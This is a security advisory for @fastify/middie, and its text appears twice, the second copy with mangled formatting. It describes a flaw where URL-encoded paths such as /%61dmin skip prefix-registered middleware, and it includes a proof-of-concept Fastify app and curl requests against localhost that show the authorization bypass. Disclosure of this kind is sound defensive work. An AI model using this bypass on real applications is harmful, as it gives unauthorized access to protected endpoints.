Headline
GHSA-cxrg-g7r8-w69p: Fastify Middie Middleware Path Bypass
Summary
A security vulnerability exists in @fastify/middie where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.
Details
The vulnerability is caused by how middie matches requests against registered middleware paths.
- Regex Generation: When fastify.use('/admin’, …) is called,
middieusespath-to-regexpto generate a regular expression for the path/admin. - Request Matching: For every request,
middieexecutes this regular expression againstreq.url(orreq.originalUrl). - The Flaw:
req.urlin Fastify contains the raw, undecoded path string.- The generated regex expects a decoded path (e.g.,
/admin). - If a request is sent to
/%61dmin, the regex comparison fails (/^\/admin/does not match/%61dmin). middieassumes the middleware does not apply and callsnext().
- The generated regex expects a decoded path (e.g.,
- Route Execution: The request proceeds to Fastify’s internal router, which performs URL decoding. It correctly identifies
/%61dminas/adminand executes the corresponding route handler.
Incriminated Source Code:
In the provided middie source:
// ... inside Holder function
if (regexp) {
const result = regexp.exec(url) // <--- 'url' is undecoded.
if (result) {
// ... executes middleware ...
} else {
that.done() // <--- Middleware skipped on mismatch
}
}
PoC
Step 1: Run the following Fastify application (save as app.js):
const fastify = require('fastify')({ logger: true });
async function start() {
// Register middie for Express-style middleware support
await fastify.register(require('@fastify/middie'));
// Middleware to block /admin route
fastify.use('/admin', (req, res, next) => {
res.statusCode = 403;
res.end('Forbidden: Access to /admin is blocked');
});
// Sample routes
fastify.get('/', async (request, reply) => {
return { message: 'Welcome to the homepage' };
});
fastify.get('/admin', async (request, reply) => {
return { message: 'Admin panel' };
});
// Start server
try {
await fastify.listen({ port: 3008 });
} catch (err) {
fastify.log.error(err);
process.exit(1);
}
}
start();
Step 2: Execute the attack.
- Normal Request (Blocked):
curl http://localhost:3008/admin # Output: Forbidden: Access to /admin is blocked - Bypass Request (Successful):
curl http://localhost:3008/%61dmin # Output: {"message":"Admin panel"}
Impact
- Type: Authentication/Authorization Bypass.
- Affected Components: Applications using
@fastify/middieto apply security controls (auth, rate limiting, IP filtering) to specific route prefixes. - Severity: High. Attackers can trivially bypass critical security middleware to access protected administrative or sensitive endpoints.
Summary
A security vulnerability exists in @fastify/middie where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.
Details
The vulnerability is caused by how middie matches requests against registered middleware paths.
- Regex Generation: When fastify.use('/admin’, …) is called, middie uses path-to-regexp to generate a regular expression for the path /admin.
- Request Matching: For every request, middie executes this regular expression against req.url (or req.originalUrl).
- The Flaw: req.url in Fastify contains the raw, undecoded path string.
- The generated regex expects a decoded path (e.g., /admin).
- If a request is sent to /%61dmin, the regex comparison fails (/^/admin/ does not match /%61dmin).
- middie assumes the middleware does not apply and calls next().
- Route Execution: The request proceeds to Fastify’s internal router, which performs URL decoding. It correctly identifies /%61dmin as /admin and executes the corresponding route handler.
Incriminated Source Code:
In the provided middie source:
// … inside Holder function if (regexp) { const result = regexp.exec(url) // <— ‘url’ is undecoded. if (result) { // … executes middleware … } else { that.done() // <— Middleware skipped on mismatch } }
PoC
Step 1: Run the following Fastify application (save as app.js):
const fastify = require(‘fastify’)({ logger: true });
async function start() { // Register middie for Express-style middleware support await fastify.register(require(‘@fastify/middie’));
// Middleware to block /admin route fastify.use('/admin’, (req, res, next) => { res.statusCode = 403; res.end(‘Forbidden: Access to /admin is blocked’); });
// Sample routes fastify.get('/’, async (request, reply) => { return { message: ‘Welcome to the homepage’ }; });
fastify.get('/admin’, async (request, reply) => { return { message: ‘Admin panel’ }; });
// Start server try { await fastify.listen({ port: 3008 }); } catch (err) { fastify.log.error(err); process.exit(1); } }
start();
Step 2: Execute the attack.
Normal Request (Blocked):
curl http://localhost:3008/admin
Output: Forbidden: Access to /admin is blocked
Bypass Request (Successful):
curl http://localhost:3008/%61dmin
Output: {"message":"Admin panel"}
Impact
- Type: Authentication/Authorization Bypass.
- Affected Components: Applications using @fastify/middie to apply security controls (auth, rate limiting, IP filtering) to specific route prefixes.
- Severity: High. Attackers can trivially bypass critical security middleware to access protected administrative or sensitive endpoints.
References
- GHSA-cxrg-g7r8-w69p
- https://nvd.nist.gov/vuln/detail/CVE-2026-22031
- fastify/middie#245
- fastify/middie@d44cd56
- https://github.com/fastify/middie/releases/tag/v9.1.0